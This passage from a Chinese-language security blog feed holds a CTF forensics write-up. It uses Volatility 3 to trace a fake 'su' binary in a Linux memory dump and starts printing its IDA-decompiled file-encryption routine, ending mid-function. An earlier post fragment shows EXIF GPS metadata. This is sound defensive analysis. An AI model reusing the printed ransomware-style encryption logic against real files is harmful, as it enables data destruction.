class="string">uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b</span></span><br><span class="line"><span class="attr">Image Width                     :</span> <span class="number">4032</span></span><br><span class="line"><span class="attr">Image Height                    :</span> <span class="number">3024</span></span><br><span class="line"><span class="attr">Encoding Process                :</span> <span class="string">Baseline</span> <span class="string">DCT,</span> <span class="string">Huffman</span> <span class="string">coding</span></span><br><span class="line"><span class="attr">Bits Per Sample                 :</span> <span class="number">8</span></span><br><span class="line"><span class="attr">Color Components                :</span> <span class="number">3</span></span><br><span class="line"><span class="attr">Y Cb Cr Sub Sampling            :</span> <span class="string">YCbCr4:2:0</span> <span class="string">(2</span> <span class="number">2</span><span class="string">)</span></span><br><span class="line"><span class="attr">Image Size                      :</span> <span class="string">4032x3024</span></span><br><span class="line"><span class="attr">Megapixels                      :</span> <span class="number">12.2</span></span><br><span class="line"><span class="attr">Create Date                     :</span> <span class="number">2023</span><span class="string">:08:31</span> <span class="number">22</span><span class="string">:58:56.00</span></span><br><span class="line"><span class="attr">Date/Time Original              :</span> <span class="number">2023</span><span class="string">:08:31</span> <span class="number">22</span><span class="string">:58:56.00</span></span><br><span class="line"><span class="attr">GPS Altitude                    :</span> <span class="number">70.5</span> <span class="string">m</span> <span class="string">Above</span> <span class="string">Sea</span> <span class="string">Level</span></span><br><span class="line"><span class="attr">GPS Latitude                    :</span> <span class="number">29</span> <span class="string">deg</span> <span class="number">30</span><span class="string">&#x27; 34.33&quot; S</span></span><br><span class="line"><span class="string">GPS Longitude                   : 153 deg 21&#x27;</span> <span class="number">34.46</span><span class="string">&quot; E</span></span><br><span class="line"><span class="string">GPS Position                    : 29 deg 30&#x27; 34.33&quot;</span> <span class="string">S,</span> <span class="number">153</span> <span class="string">deg</span> <span class="number">21</span><span class="string">&#x27; 34.46&quot; E</span></span><br></pre></td></tr></table></figure><p>最後它提供了拍照的地點。</p><h3 id="What3words"><a href="#What3words" class="headerlink" title="What3words"></a>What3words</h3><p>網站連結：<a href="https://what3words.com/">https://what3words.com/</a></p><p>這個網站可以只利用三個相關的詞彙去定位到想要的地點，因為有些地方會沒有地址，所以會需要靠這個方式定位</p><p>像是成功大學資訊系館是 <code>imported.dull.buns</code>，之後去這個網站查就一樣會定位到這邊</p><p><img src="/assets/tVfxyDKTRPL6hxH59oD19ORtuhNS5r4Y-V8fsrTCtn8=.png"></p>]]></content>
    
    
    <summary type="html">Blue Team 常用事件代碼、Sysmon 事件與 IDS/IPS 工具速查</summary>
    
    
    
    <category term="Blog" scheme="https://yunshiuan.com/categories/Blog/"/>
    
    
    <category term="Forensic" scheme="https://yunshiuan.com/tags/Forensic/"/>
    
    <category term="BlueTeam" scheme="https://yunshiuan.com/tags/BlueTeam/"/>
    
  </entry>
  
  <entry>
    <title>ACSCCTF 2025 Please Recover My Files</title>
    <link href="https://yunshiuan.com/2025/07/31/2025ACSCCTF/"/>
    <id>https://yunshiuan.com/2025/07/31/2025ACSCCTF/</id>
    <published>2025-07-31T16:00:00.000Z</published>
    <updated>2026-04-29T16:21:43.364Z</updated>
    
    <content type="html"><![CDATA[<h1 id="🍘-仙貝工具"><a href="#🍘-仙貝工具" class="headerlink" title="🍘 仙貝工具"></a>🍘 仙貝工具</h1><h2 id="Volatility"><a href="#Volatility" class="headerlink" title="Volatility"></a>Volatility</h2><p>下載連結：</p><p>Volatility 2 :  <a href="https://github.com/volatilityfoundation/volatility">https://github.com/volatilityfoundation/volatility</a></p><p>Volatility 3 :  <a href="https://github.com/volatilityfoundation/volatility3">https://github.com/volatilityfoundation/volatility3</a></p><p>經典的記憶體分析工具，利用指令可以分析 memory dump 中的關鍵訊息，像是進程、網路連線、檔案……等等。</p><p>基本的操作這邊推薦可以直接上網查有人整理好的指令doc</p><p>而Volatility分為2與3版，差別就是一個是要使用 python2 執行，另一個是用 python3 執行，並且現在Volatility 2 已經沒有在維護了，但是一些 Plugin 的完整度在目前為止還是比 Volatility 3 還要高並且豐富，所以有些人還是會比較會偏向使用 Volatility 2 ，今天分享會主要使用 Volatility 3</p><h2 id="Ida"><a href="#Ida" class="headerlink" title="Ida"></a>Ida</h2><p>下載連結：<a href="https://hex-rays.com/ida-pro">https://hex-rays.com/ida-pro</a></p><p>經典反編譯工具， 可以將執行檔反編譯成人可以看懂的程式碼</p><h1 id="Cyberchef"><a href="#Cyberchef" class="headerlink" title="Cyberchef"></a>Cyberchef</h1><p>網站連結：<a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p><p>非常好用的解密網站，支援多個加解密功能</p><hr><h1 id="題目大綱"><a href="#題目大綱" class="headerlink" title="題目大綱"></a>題目大綱</h1><p>這題的題意大致是，他發現了他的檔案被加密了，請恢復他，因此主要的目標是會需要找到怪怪的加密程式以及被加密的檔案，並分析他的加密程式是怎麼加密的並還原他。</p><h1 id="調查開始"><a href="#調查開始" class="headerlink" title="調查開始"></a>調查開始</h1><p>起手式先看一下他的作業系統以及他的版本是多少</p><p><img src="/assets/CcR004mNRinsSkEIROnMdRpEYrUW7HYupvm8H-i3vbA=.png"></p><p>得知說這個 memory dump 的作業系統為 Debian，而他 Linux 核心版本是 6.1.0-27，並且他是2024-11-01出現的，試試看pslist有沒有辦法出現東西，但因為官方給的Sysbol Table太少，因此高機率會出現 Symbol Table 缺失錯誤</p><p><img src="/assets/D_2GFVDfbfAAVjDSdchihnsztesFzwNWKaIjHjNxijw=.png"></p><p>因此可以試試看前一天提到的 <a href="https://github.com/Abyss-W4tcher/volatility3-symbols">https://github.com/Abyss-W4tcher/volatility3-symbols</a> 有人已經幫忙整理的 Symbol Table 找找看，這邊剛好他有。</p><p>因此把對應版本的 Symbol Table 下載下來後放在V olatility 3 資料夾中的 volatility3\symbols\linux 路徑，再次用 pslist 看一下會不會成功。發現確實可以正常分析了</p><p><img src="/assets/BDfS9sFG6UMHPaE7FvAh55ncuC3wqZ3DO4KcDQZwUpg=.png"></p><p>接下來下pstree 看一下有什麼值得看並且可疑的進程</p><figure class="highlight tap"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\yunshiuan\Desktop\Tools\volatility3 &gt; python3 .\vol.py -f &quot;C:\Users\yunshiuan\Desktop\asac\chall.raw&quot; linux.pstree</span><br><span class="line">Volatility<span class="number"> 3 </span>Framework 2.26.2</span><br><span class="line">Progress:  100.00               Stacking attempts finished</span><br><span class="line">OFFSET (V)      PID     TID     PPID    COMM</span><br><span class="line"></span><br><span class="line">0x8a6100241fc0 <span class="number"> 1 </span>     <span class="number"> 1 </span>     <span class="number"> 0 </span>      systemd</span><br><span class="line">* 0x8a611367bf80       <span class="number"> 356 </span>   <span class="number"> 356 </span>   <span class="number"> 1 </span>      systemd-journal</span><br><span class="line">* 0x8a61015d5f40       <span class="number"> 388 </span>   <span class="number"> 388 </span>   <span class="number"> 1 </span>      systemd-udevd</span><br><span class="line">* 0x8a610b808000       <span class="number"> 440 </span>   <span class="number"> 440 </span>   <span class="number"> 1 </span>      systemd-timesyn</span><br><span class="line">* 0x8a6107958000       <span class="number"> 630 </span>   <span class="number"> 630 </span>   <span class="number"> 1 </span>      accounts-daemon</span><br><span class="line">* 0x8a6107959fc0       <span class="number"> 631 </span>   <span class="number"> 631 </span>   <span class="number"> 1 </span>      anacron</span><br><span class="line">* 0x8a610795bf80       <span class="number"> 632 </span>   <span class="number"> 632 </span>   <span class="number"> 1 </span>      avahi-daemon</span><br><span class="line">** 0x8a610b823f80      <span class="number"> 646 </span>   <span class="number"> 646 </span>   <span class="number"> 632 </span>    avahi-daemon</span><br><span class="line">* 0x8a61015d0000       <span class="number"> 633 </span>   <span class="number"> 633 </span>   <span class="number"> 1 </span>      cron</span><br><span class="line">* 0x8a61159b5f40       <span class="number"> 634 </span>   <span class="number"> 634 </span>   <span class="number"> 1 </span>      dbus-daemon</span><br><span class="line">* 0x8a61159b1fc0       <span class="number"> 636 </span>   <span class="number"> 636 </span>   <span class="number"> 1 </span>      low-memory-moni</span><br><span class="line">* 0x8a61159b3f80       <span class="number"> 637 </span>   <span class="number"> 637 </span>   <span class="number"> 1 </span>      polkitd</span><br><span class="line">* 0x8a610794df40       <span class="number"> 638 </span>   <span class="number"> 638 </span>   <span class="number"> 1 </span>      power-profiles-</span><br><span class="line">* 0x8a6107948000       <span class="number"> 639 </span>   <span class="number"> 639 </span>   <span class="number"> 1 </span>      switcheroo-cont</span><br><span class="line">* 0x8a6107949fc0       <span class="number"> 640 </span>   <span class="number"> 640 </span>   <span class="number"> 1 </span>      systemd-logind</span><br><span class="line">* 0x8a610794bf80       <span class="number"> 641 </span>   <span class="number"> 641 </span>   <span class="number"> 1 </span>      udisksd</span><br><span class="line">* 0x8a6107965f40       <span class="number"> 652 </span>   <span class="number"> 652 </span>   <span class="number"> 1 </span>      NetworkManager</span><br><span class="line">* 0x8a6106740000       <span class="number"> 657 </span>   <span class="number"> 657 </span>   <span class="number"> 1 </span>      wpa_supplicant</span><br><span class="line">* 0x8a6112083f80       <span class="number"> 674 </span>   <span class="number"> 674 </span>   <span class="number"> 1 </span>      ModemManager</span><br><span class="line">* 0x8a61120a8000       <span class="number"> 693 </span>   <span class="number"> 693 </span>   <span class="number"> 1 </span>      cupsd</span><br><span class="line">* 0x8a61120a9fc0       <span class="number"> 707 </span>   <span class="number"> 707 </span>   <span class="number"> 1 </span>      gdm3</span><br><span class="line">** 0x8a6110c3bf80      <span class="number"> 1193 </span>  <span class="number"> 1193 </span>  <span class="number"> 707 </span>    gdm-session-wor</span><br><span class="line">*** 0x8a610b80df40     <span class="number"> 1273 </span>  <span class="number"> 1273 </span>  <span class="number"> 1193 </span>   gdm-wayland-ses</span><br><span class="line">**** 0x8a6108263f80    <span class="number"> 1283 </span>  <span class="number"> 1283 </span>  <span class="number"> 1273 </span>   gnome-session-b</span><br><span class="line">* 0x8a6103590000       <span class="number"> 724 </span>   <span class="number"> 724 </span>   <span class="number"> 1 </span>      cups-browsed</span><br><span class="line">* 0x8a61035a3f80       <span class="number"> 773 </span>   <span class="number"> 773 </span>   <span class="number"> 1 </span>      rtkit-daemon</span><br><span class="line">* 0x8a6108a4df40       <span class="number"> 893 </span>   <span class="number"> 893 </span>   <span class="number"> 1 </span>      upowerd</span><br><span class="line">* 0x8a610abfbf80       <span class="number"> 923 </span>   <span class="number"> 923 </span>   <span class="number"> 1 </span>      geoclue</span><br><span class="line">* 0x8a610abf8000       <span class="number"> 930 </span>   <span class="number"> 930 </span>   <span class="number"> 1 </span>      packagekitd</span><br><span class="line">* 0x8a6112e08000       <span class="number"> 938 </span>   <span class="number"> 938 </span>   <span class="number"> 1 </span>      colord</span><br><span class="line">* 0x8a610a445f40       <span class="number"> 1205 </span>  <span class="number"> 1205 </span>  <span class="number"> 1 </span>      systemd</span><br><span class="line">** 0x8a6108a4bf80      <span class="number"> 1208 </span>  <span class="number"> 1208 </span>  <span class="number"> 1205 </span>   (sd-pam)</span><br><span class="line">** 0x8a61120a0000      <span class="number"> 1223 </span>  <span class="number"> 1223 </span>  <span class="number"> 1205 </span>   pipewire</span><br><span class="line">** 0x8a6107658000      <span class="number"> 1228 </span>  <span class="number"> 1228 </span>  <span class="number"> 1205 </span>   wireplumber</span><br><span class="line">** 0x8a6107453f80      <span class="number"> 1232 </span>  <span class="number"> 1232 </span>  <span class="number"> 1205 </span>   pipewire-pulse</span><br><span class="line">** 0x8a610a438000      <span class="number"> 1234 </span>  <span class="number"> 1234 </span>  <span class="number"> 1205 </span>   dbus-daemon</span><br><span class="line">** 0x8a610a43df40      <span class="number"> 1235 </span>  <span class="number"> 1235 </span>  <span class="number"> 1205 </span>   gnome-keyring-d</span><br><span class="line">** 0x8a610a439fc0      <span class="number"> 1244 </span>  <span class="number"> 1244 </span>  <span class="number"> 1205 </span>   gvfsd</span><br><span class="line">*** 0x8a6112e09fc0     <span class="number"> 2041 </span>  <span class="number"> 2041 </span>  <span class="number"> 1244 </span>   gvfsd-trash</span><br><span class="line">** 0x8a6109c2df40      <span class="number"> 1258 </span>  <span class="number"> 1258 </span>  <span class="number"> 1205 </span>   gvfsd-fuse</span><br><span class="line">** 0x8a6104c80000      <span class="number"> 1324 </span>  <span class="number"> 1324 </span>  <span class="number"> 1205 </span>   tracker-miner-f</span><br><span class="line">** 0x8a6104c7df40      <span class="number"> 1332 </span>  <span class="number"> 1332 </span>  <span class="number"> 1205 </span>   gcr-ssh-agent</span><br><span class="line">** 0x8a6104c78000      <span class="number"> 1333 </span>  <span class="number"> 1333 </span>  <span class="number"> 1205 </span>   gnome-session-c</span><br><span class="line">** 0x8a6104c79fc0      <span class="number"> 1334 </span>  <span class="number"> 1334 </span>  <span class="number"> 1205 </span>   ssh-agent</span><br><span class="line">** 0x8a6108265f40      <span class="number"> 1342 </span>  <span class="number"> 1342 </span>  <span class="number"> 1205 </span>   gnome-session-b</span><br><span class="line">*** 0x8a61027c1fc0     <span class="number"> 1360 </span>  <span class="number"> 1360 </span>  <span class="number"> 1342 </span>   at-spi-bus-laun</span><br><span class="line">**** 0x8a61027d1fc0    <span class="number"> 1373 </span>  <span class="number"> 1373 </span>  <span class="number"> 1360 </span>   dbus-daemon</span><br><span class="line">*** 0x8a6108105f40     <span class="number"> 1540 </span>  <span class="number"> 1540 </span>  <span class="number"> 1342 </span>   evolution-alarm</span><br><span class="line">*** 0x8a6112c89fc0     <span class="number"> 1569 </span>  <span class="number"> 1569 </span>  <span class="number"> 1342 </span>   gsd-disk-utilit</span><br><span class="line">*** 0x8a6109a73f80     <span class="number"> 1574 </span>  <span class="number"> 1574 </span>  <span class="number"> 1342 </span>   gnome-software</span><br><span class="line">** 0x8a61027c5f40      <span class="number"> 1361 </span>  <span class="number"> 1361 </span>  <span class="number"> 1205 </span>   gvfs-udisks2-vo</span><br><span class="line">** 0x8a61027d0000      <span class="number"> 1365 </span>  <span class="number"> 1365 </span>  <span class="number"> 1205 </span>   gnome-shell</span><br><span class="line">** 0x8a61027d3f80      <span class="number"> 1376 </span>  <span class="number"> 1376 </span>  <span class="number"> 1205 </span>   gvfs-gphoto2-vo</span><br><span class="line">** 0x8a61027c0000      <span class="number"> 1385 </span>  <span class="number"> 1385 </span>  <span class="number"> 1205 </span>   gvfs-goa-volume</span><br><span class="line">** 0x8a6107d43f80      <span class="number"> 1395 </span>  <span class="number"> 1395 </span>  <span class="number"> 1205 </span>   goa-daemon</span><br><span class="line">** 0x8a6107b70000      <span class="number"> 1408 </span>  <span class="number"> 1408 </span>  <span class="number"> 1205 </span>   goa-identity-se</span><br><span class="line">** 0x8a6107b75f40      <span class="number"> 1417 </span>  <span class="number"> 1417 </span>  <span class="number"> 1205 </span>   gvfs-mtp-volume</span><br><span class="line">** 0x8a6107b10000      <span class="number"> 1422 </span>  <span class="number"> 1422 </span>  <span class="number"> 1205 </span>   gvfs-afc-volume</span><br><span class="line">** 0x8a6107ba1fc0      <span class="number"> 1460 </span>  <span class="number"> 1460 </span>  <span class="number"> 1205 </span>   xdg-permission-</span><br><span class="line">** 0x8a6107ba3f80      <span class="number"> 1463 </span>  <span class="number"> 1463 </span>  <span class="number"> 1205 </span>   gnome-shell-cal</span><br><span class="line">** 0x8a610815df40      <span class="number"> 1475 </span>  <span class="number"> 1475 </span>  <span class="number"> 1205 </span>   evolution-sourc</span><br><span class="line">** 0x8a6108161fc0      <span class="number"> 1486 </span>  <span class="number"> 1486 </span>  <span class="number"> 1205 </span>   gjs</span><br><span class="line">** 0x8a61080e9fc0      <span class="number"> 1488 </span>  <span class="number"> 1488 </span>  <span class="number"> 1205 </span>   at-spi2-registr</span><br><span class="line">** 0x8a6108163f80      <span class="number"> 1498 </span>  <span class="number"> 1498 </span>  <span class="number"> 1205 </span>   sh</span><br><span class="line">*** 0x8a6112c8bf80     <span class="number"> 1568 </span>  <span class="number"> 1568 </span>  <span class="number"> 1498 </span>   ibus-daemon</span><br><span class="line">**** 0x8a615b9e1fc0    <span class="number"> 1689 </span>  <span class="number"> 1689 </span>  <span class="number"> 1568 </span>   ibus-dconf</span><br><span class="line">**** 0x8a615b9e0000    <span class="number"> 1690 </span>  <span class="number"> 1690 </span>  <span class="number"> 1568 </span>   ibus-extension-</span><br><span class="line">**** 0x8a61111a0000    <span class="number"> 1759 </span>  <span class="number"> 1759 </span>  <span class="number"> 1568 </span>   ibus-engine-sim</span><br><span class="line">** 0x8a6108171fc0      <span class="number"> 1501 </span>  <span class="number"> 1501 </span>  <span class="number"> 1205 </span>   gsd-a11y-settin</span><br><span class="line">** 0x8a6108175f40      <span class="number"> 1502 </span>  <span class="number"> 1502 </span>  <span class="number"> 1205 </span>   gsd-color</span><br><span class="line">** 0x8a6108173f80      <span class="number"> 1503 </span>  <span class="number"> 1503 </span>  <span class="number"> 1205 </span>   gsd-datetime</span><br><span class="line">** 0x8a6108170000      <span class="number"> 1505 </span>  <span class="number"> 1505 </span>  <span class="number"> 1205 </span>   gsd-housekeepin</span><br><span class="line">** 0x8a6108180000      <span class="number"> 1508 </span>  <span class="number"> 1508 </span>  <span class="number"> 1205 </span>   gsd-keyboard</span><br><span class="line">** 0x8a6108181fc0      <span class="number"> 1512 </span>  <span class="number"> 1512 </span>  <span class="number"> 1205 </span>   gsd-media-keys</span><br><span class="line">** 0x8a6108185f40      <span class="number"> 1518 </span>  <span class="number"> 1518 </span>  <span class="number"> 1205 </span>   gsd-power</span><br><span class="line">** 0x8a6108183f80      <span class="number"> 1519 </span>  <span class="number"> 1519 </span>  <span class="number"> 1205 </span>   gsd-print-notif</span><br><span class="line">** 0x8a61080f1fc0      <span class="number"> 1526 </span>  <span class="number"> 1526 </span>  <span class="number"> 1205 </span>   gsd-rfkill</span><br><span class="line">** 0x8a61080f3f80      <span class="number"> 1527 </span>  <span class="number"> 1527 </span>  <span class="number"> 1205 </span>   gsd-screensaver</span><br><span class="line">** 0x8a611118df40      <span class="number"> 1536 </span>  <span class="number"> 1536 </span>  <span class="number"> 1205 </span>   gsd-sharing</span><br><span class="line">** 0x8a611118bf80      <span class="number"> 1537 </span>  <span class="number"> 1537 </span>  <span class="number"> 1205 </span>   gsd-smartcard</span><br><span class="line">** 0x8a6111188000      <span class="number"> 1538 </span>  <span class="number"> 1538 </span>  <span class="number"> 1205 </span>   gsd-sound</span><br><span class="line">** 0x8a6111189fc0      <span class="number"> 1539 </span>  <span class="number"> 1539 </span>  <span class="number"> 1205 </span>   gsd-usb-protect</span><br><span class="line">** 0x8a61111a1fc0      <span class="number"> 1541 </span>  <span class="number"> 1541 </span>  <span class="number"> 1205 </span>   gsd-wacom</span><br><span class="line">** 0x8a6112c95f40      <span class="number"> 1570 </span>  <span class="number"> 1570 </span>  <span class="number"> 1205 </span>   evolution-calen</span><br><span class="line">** 0x8a615b86df40      <span class="number"> 1633 </span>  <span class="number"> 1633 </span>  <span class="number"> 1205 </span>   gjs</span><br><span class="line">** 0x8a615b9cbf80      <span class="number"> 1684 </span>  <span class="number"> 1684 </span>  <span class="number"> 1205 </span>   evolution-addre</span><br><span class="line">** 0x8a615b9cdf40      <span class="number"> 1700 </span>  <span class="number"> 1700 </span>  <span class="number"> 1205 </span>   ibus-portal</span><br><span class="line">** 0x8a615b9f5f40      <span class="number"> 1712 </span>  <span class="number"> 1712 </span>  <span class="number"> 1205 </span>   gsd-printer</span><br><span class="line">** 0x8a6112088000      <span class="number"> 1745 </span>  <span class="number"> 1745 </span>  <span class="number"> 1205 </span>   xdg-desktop-por</span><br><span class="line">** 0x8a6109a90000      <span class="number"> 1758 </span>  <span class="number"> 1758 </span>  <span class="number"> 1205 </span>   xdg-document-po</span><br><span class="line">*** 0x8a61661a5f40     <span class="number"> 1778 </span>  <span class="number"> 1778 </span>  <span class="number"> 1758 </span>   fusermount3</span><br><span class="line">** 0x8a615bbf8000      <span class="number"> 1789 </span>  <span class="number"> 1789 </span>  <span class="number"> 1205 </span>   xdg-desktop-por</span><br><span class="line">** 0x8a610745df40      <span class="number"> 1830 </span>  <span class="number"> 1830 </span>  <span class="number"> 1205 </span>   xdg-desktop-por</span><br><span class="line">** 0x8a6108859fc0      <span class="number"> 2015 </span>  <span class="number"> 2015 </span>  <span class="number"> 1205 </span>   gnome-calendar</span><br><span class="line">** 0x8a61035a1fc0      <span class="number"> 2017 </span>  <span class="number"> 2017 </span>  <span class="number"> 1205 </span>   gnome-control-c</span><br><span class="line">** 0x8a61035a0000      <span class="number"> 2021 </span>  <span class="number"> 2021 </span>  <span class="number"> 1205 </span>   gnome-terminal-</span><br><span class="line">*** 0x8a610b801fc0     <span class="number"> 2255 </span>  <span class="number"> 2255 </span>  <span class="number"> 2021 </span>   bash</span><br><span class="line">**** 0x8a6107ba0000    <span class="number"> 2258 </span>  <span class="number"> 2258 </span>  <span class="number"> 2255 </span>   su</span><br><span class="line">***** 0x8a6112c9df40   <span class="number"> 2259 </span>  <span class="number"> 2259 </span>  <span class="number"> 2258 </span>   bash</span><br><span class="line">****** 0x8a6110c3df40  <span class="number"> 2272 </span>  <span class="number"> 2272 </span>  <span class="number"> 2259 </span>   avml</span><br><span class="line">** 0x8a6103431fc0      <span class="number"> 2102 </span>  <span class="number"> 2102 </span>  <span class="number"> 1205 </span>   dconf-service</span><br><span class="line">** 0x8a610b813f80      <span class="number"> 2261 </span>  <span class="number"> 2261 </span>  <span class="number"> 1205 </span>   su</span><br><span class="line">** 0x8a6108868000      <span class="number"> 2279 </span>  <span class="number"> 2279 </span>  <span class="number"> 1205 </span>   gvfsd-metadata</span><br><span class="line">* 0x8a6108f9bf80       <span class="number"> 1841 </span>  <span class="number"> 1841 </span>  <span class="number"> 1 </span>      fwupd</span><br></pre></td></tr></table></figure><p>其中有趣的是在 102 行 他開了bash 後執行了 su ，之後底下又開了 bash 之後是 avml ，如果是bash的話有一個很不錯用的linux.bash Plugin 可以使用，它可以去看之前使用者在bash中輸入了什麼指令。</p><figure class="highlight nix"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 .\vol.py <span class="operator">-</span>f <span class="string">&quot;C:<span class="char escape_">\U</span>sers<span class="char escape_">\y</span>unshiuan<span class="char escape_">\D</span>esktop<span class="char escape_">\a</span>sac<span class="char escape_">\c</span>hall.raw&quot;</span> linux.bash</span><br></pre></td></tr></table></figure><p><img src="/assets/68z4U1rOFmpRYIcJRHZfTPv7MJGjeo2SrAMFDxCKZkE=.png"></p><p>看到超可疑的 su 了，因為一般下 su 不會使用<code>./</code> 在現在位置執行，因此可重點去看這個 su 在幹嘛。</p><p>首先先看這個 su 到底在哪裡</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 .\vol.py <span class="operator">-f</span> <span class="string">&quot;C:\Users\yunshiuan\Desktop\asac\chall.raw&quot;</span> linux.pagecache.Files &gt; files.txt</span><br></pre></td></tr></table></figure><p><img src="/assets/AHAFKQQL4w4D4KPXJ7skTSx4v8maa_5BfbF52y6qMUc=.png"></p><p>ok 找到了 發現他被放在<code>/home/acsc/su</code> ，接下來知道他在哪之後就可以把它 Dump 出來</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 .\vol<span class="selector-class">.py</span> -f <span class="string">&quot;C:\Users\yunshiuan\Desktop\asac\chall.raw&quot;</span> linux<span class="selector-class">.pagecache</span><span class="selector-class">.InodePages</span> <span class="attr">--find</span> <span class="string">&#x27;/home/acsc/su&#x27;</span> <span class="attr">--dump</span></span><br></pre></td></tr></table></figure><p><img src="/assets/nnc7Yy8Nha7iSD1Uh0-fRgZvgeVceoPoDM0D_-idl1A=.png"></p><p>成功把 su dump 出來了之後就可以直接開 ida 分析</p><p>開 ida 然後點一點就可以發現到一個酷酷的加密函式</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">sub_403175</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">char</span> v1; <span class="comment">// [rsp+0h] [rbp-240h]</span></span><br><span class="line">  <span class="type">char</span> v2; <span class="comment">// [rsp+0h] [rbp-240h]</span></span><br><span class="line">  <span class="type">char</span> v3; <span class="comment">// [rsp+0h] [rbp-240h]</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+8h] [rbp-238h]</span></span><br><span class="line">  <span class="type">signed</span> <span class="type">int</span> v5; <span class="comment">// [rsp+Ch] [rbp-234h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v6; <span class="comment">// [rsp+10h] 